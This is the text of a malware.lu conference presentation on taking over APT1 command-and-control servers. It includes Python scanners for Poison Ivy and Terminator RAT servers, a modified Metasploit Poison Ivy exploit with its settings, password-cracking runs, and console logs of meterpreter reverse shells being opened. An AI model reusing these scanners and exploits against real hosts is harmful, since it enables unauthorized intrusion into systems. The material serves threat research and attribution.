(maybe ?)APT1: technical backstage

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Malware.lu

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Crusaders are everywhere...

A poke to Hendrik Adrian... #MalwareMustDie

Plan

- Malware.lu presentation
- Information gathering
- Poison Ivy
- Take-over of the C&C
- Terminator

About malware.lu

Presentation of malware.lu
Mainteners:
- @r00tbsd – Paul Rascagnères
- @y0ug – Hugo Caron
- @defane – Stephane Emma
- MiniLX – Julien Maladrie
- @maijin212 – Maxime Morin

A few numbers

Here are some numbers about malware.lu

- 5,572,872 malware samples
- 41 articles
- complete analysis of Red October & Rannoh
- 2000 users
- 2550 followers on twitter (@malwarelu)
- 7GB of database
- 3,5TB of malware
- 1 tool: malwasm
- 1 company: CERT, consulting, Reverse Engineering, Malware analysis, intelligence...
- and more...

Before starting

Why maybe…
Concerning the attribution ??

Plan

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- Poison Ivy
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Information gathering

Mandiant report (http://intelreport.mandiant.com):

The remote administration tool Poison Ivy is mentioned.

Information gathering

Our Poison Ivy scanner:

```python
def check_poison(self, host, port, res):
  try:
    af, socktype, proto, canonname, sa = res
    s = socket.socket(af, socktype, proto)
    s.settimeout(6)
    s.connect(sa)
    stage1 = "\x00" * 0x100
    s.sendall(stage1)
    data = s.recv(0x100)
    if len(data) != 0x100:
      s.close()
      return
    data = s.recv(0x4)
    s.close()
    if
      data != "\xD0\x15\x00\x00":
      return
    print "%s Poison %s %s:%d" % (datetime.datetime.now(), host,sa[0], sa[1])
  except socket.timeout as e:
    pass
  except socket.error as e:
    pass
```

Information gathering

The scanned ports were :
- 3460 (default Poison Ivy port)
- 80 (HTTP port)
- 443 (HTTPS port)
- 8080 (alternate HTTP port)

We scanned a wide IP range located in HK.

Information gathering

Statitics of the Poison Ivy availability.

IP range where PI servers were detected :
- 113.10.246.0-113.10.246.255: managed by NWT Broadband Service
- 202.65.220.0-202.65.220.255: managed by Pacific Scene
- 202.67.215.0-202.67.215.255: managed by HKNet Company
- 210.3.0.0-210.3.127.255: managed by Hutchison Global
Communications
- 219.76.239.216-219.76.239.223: managed by WINCOME CROWN
LIMITED
-70.39.64.0–70.39.127.255: managed by Sharktech

Information gathering

Statitics of the Poison Ivy availability.

Working hours : (Luxembourgish timezone -6 hours)

UTC+1	M	T	W	T	F	S	S
00:00							
01:00			▓		▓	▒	
02:00	▓	▒	▓		▓		
03:00	▓	▒	▒		▒		
04:00	▓	▒	▓		▒		
05:00	▓	▒	▓		▓		
06:00	▓	▒	▒	▒	▓		
07:00	▓	▓	▓	▓	▓		
08:00	▓	▓	▓	▓	▓		
09:00	▓	▒	▓	▓	▒		
10:00		▒		▓	▒		
11:00				▒			
12:00							
13:00							
14:00							
15:00							
16:00							

Figure 1: Attackers working hours

Plan

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- **Poison Ivy**
- Take-over of the C&C
- Terminator

Poison Ivy

It's a RAT (Remote Administration Tool).

Available on the Internet :
http://www.poisonivy-rat.com/index.php?link=download

Features :
- File management;
- File search;
- File transfer;
- Registry management;
- Process management;
- Services management;
- Remote shell;
- Screenshot creation;
- Hash stealing;
- Audio capture;
- ...

Poison Ivy

Remote code execution found by Andrzej Dereszowski

Exploit on metasploit : exploits/windows/misc/poisonivy_bof

The exploit has 2 possible exploitation methods :
 - by using the default password : admin
Or
 - by using brute force

In our context these 2 solutions failed.

Poison Ivy

We decided to modify the existing exploit to add a new option : the password. (the source code is available in our report)

How to find the attackers password of PI ?

The password is used to encrypt the communication.
The encryption algorithm is Camellia.
The encryption is performed with 16 bytes blocks.
Poison Ivy has an "echo" feature, you send data, it returns the same data but encrypted ;)

Our technique :
1. send 100 bytes (with 0x00) to the daemon
2. get the first 16 bytes as result from the daemon

Result=Camellia(16*0x00, key)

Poison Ivy

We decided to create a John The Ripper extension to brute force our
Result. (the source code is available in our report)

```
rootbsd@alien:~/john-1.7.9$ cat test.txt
$camellia$ItGoyeyQIvPjT/qBoDKQZg==

rootbsd@alien:~/john-1.7.9$ ./john -format=camellia test.txt
Loaded 1 password hash (Camellia bruteforce [32/32])
No password hashes left to crack (see FAQ)

rootbsd@alien:~/john-1.7.9$ ./john --show test.txt
pswpsw
1 password hash cracked, 0 left
```

Poison Ivy

```
msf exploit(poisonivy_bof_v2) > show options
Module options (exploit/windows/misc/poisonivy_bof_v2):
Name            Current Setting     Required        Description
----            ---------------     --------        -----------

Password        pswpsw              yes             Client password
RANDHEADER      false               yes             Send random bytes as the header
RHOST           X.X.X.X             yes             The target address
RPORT           80                  yes             The target port


Payload options (windows/meterpreter/reverse_https):
Name            Current Setting     Required        Description
----            ---------------     --------        -----------

EXITFUNC        thread              yes             Exit : seh, thread, process, none
LHOST           my_server           yes             The local listener hostname
LPORT           8443                yes             The local listener port


Exploit target:
Id              Name
-               ----
0               Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1
```

Poison Ivy

Once connected to the Poison Ivy server, we noticed that the server had no public IP. We attacked a server with the IP X.X.X.X (identified during the scan) and the meterpreter endpoint IP address was Y.Y.Y.Y. We concluded that the Poison Ivy daemon was hidden behind a proxy server , by using port forwarding to hide the real IP of the command & control server.

We could also identify that the vendor ID of the MAC address is VMWare.

Poison Ivy

```
msf exploit(poisonivy_bof_v2) > exploit
[*] Started HTTPS reverse handler on https://my_server:8443/
[*] Meterpreter session 1
opened (my_server:8443->Y.Y.Y.Y:3325) at 2013-03-07 07:51:57+0100

Meterpreter> ipconfig
Interface 1
============
Name: MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 2
============
Name : AMD PCNET Family PCI Ethernet Adapter-����������������
Hardware MAC :00:0c:29:c9:86:57
MTU : 1500
IPv4 Address : 192.168.164.128
IPv4 Netmask : 255.255.255.0
```

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Take-over of the C&C

Architecture schema :

The binary used to manage
the proxy is called xport.exe

Figure 2: Network schema

Syntax :
```
xport.exe Proxy_ip proxy_port Poison_Ivy_ip Poison_Ivy_port number
```

Take-over of the C&C

RDP analysis :

```
rootbsd@alien:~/APT1$ cat list_ip.txt | sort -u | wc -l
384
```


Figure 3: Proxy server login window

Take-over of the C&C

Screenshot of the attackers desktop :

Figure 4: Poison Ivy interface with the list of connected machines

Take-over of the C&C

Screenshot of the
attackers desktop :

Figure 5: Poison Ivy interface with a shell

Take-over of the C&C

First step :
    find the tools used by the attackers

Second step :
    Identify victims

Take-over of the C&C

We identify a second RAT hosted on the server : Terminator

The victims were :
  - private companies
  - public companies
  - political institutions
  - activists
  - associations
  - reporters

We warned every identified targets.

The attackers looked for :
  - .ppt(x)
  - .xls(x)
  - .doc(x)
  - .pdf
  - .jpg

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Terminator

This RAT was previously identified by TrendMicro as Fakem.

The server part was protected by password :


Figure 7: Terminator password

Terminator

A CRC is performed to check the password :

Terminator

After the CRC a XOR is performed:

Terminator

So we developed a small tool to bf the password :

```
rootbsd@alien:~/terminator$ ./bf 10 0xdafd58f3
DEBUG:Ap@hX dafd58f3 dafd58f3
```

Terminator

DEMO

Terminator

We created a scanner for terminator too:

```python
def check_terminator(self, host, port, res):
    try:
        af, socktype, proto, canonname, sa = res
        s = socket.socket(af, socktype, proto)
        s.settimeout(6)
        s.connect(sa)
        stage = "<html><title>12356</title><body>"
        stage+= "\xa0\xf4\xf6\xf6"
        Stage += "\xf6" * (0x400-len(stage))
        s.sendall(stage)
        data = s.recv(0x400)
        if len(data) < 0x400:
            return
        if data.find("<html><title>12356</title><body>") == -1:
            return
        print "%s Terminator %s %s:%d" % (datetime.datetime.now(), host,sa[0], sa[1])
```

Terminator

We found a vulnerability on Terminator.

We created a metasploit module called terminator_judgment_day

```
msf exploit
(terminator_judgment_day) > exploit
[*] Started HTTPS reverse handler on https://192.168.0.24:8443/
[*] Connection...
[*] 1024-653
[*] Send exploit...
[*] 192.168.0.45:1050 Request received for /q1fT...
[*] 192.168.0.45:1050 Staging connection for target /q1fT received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset
641776...
[*] Meterpreter session 1 opened (192.168.0.24:8443-> 192.168.0.45:1050) at
2013-03-13 10:04:38 +0100
meterpreter >
```

Conclusion

- More than 300 servers
- Use of proxy servers to hide their activities
- one server per target
- custom made malware
- working hours, such as office employees
- really good organization

- a second nomination to Pwnie Awards in 2 years (category : Pwnie for Epic Ownage)

"The only real defense is offensive defense" (Mao Zedong)

Questions

Please not question about the law... I am not a lower !!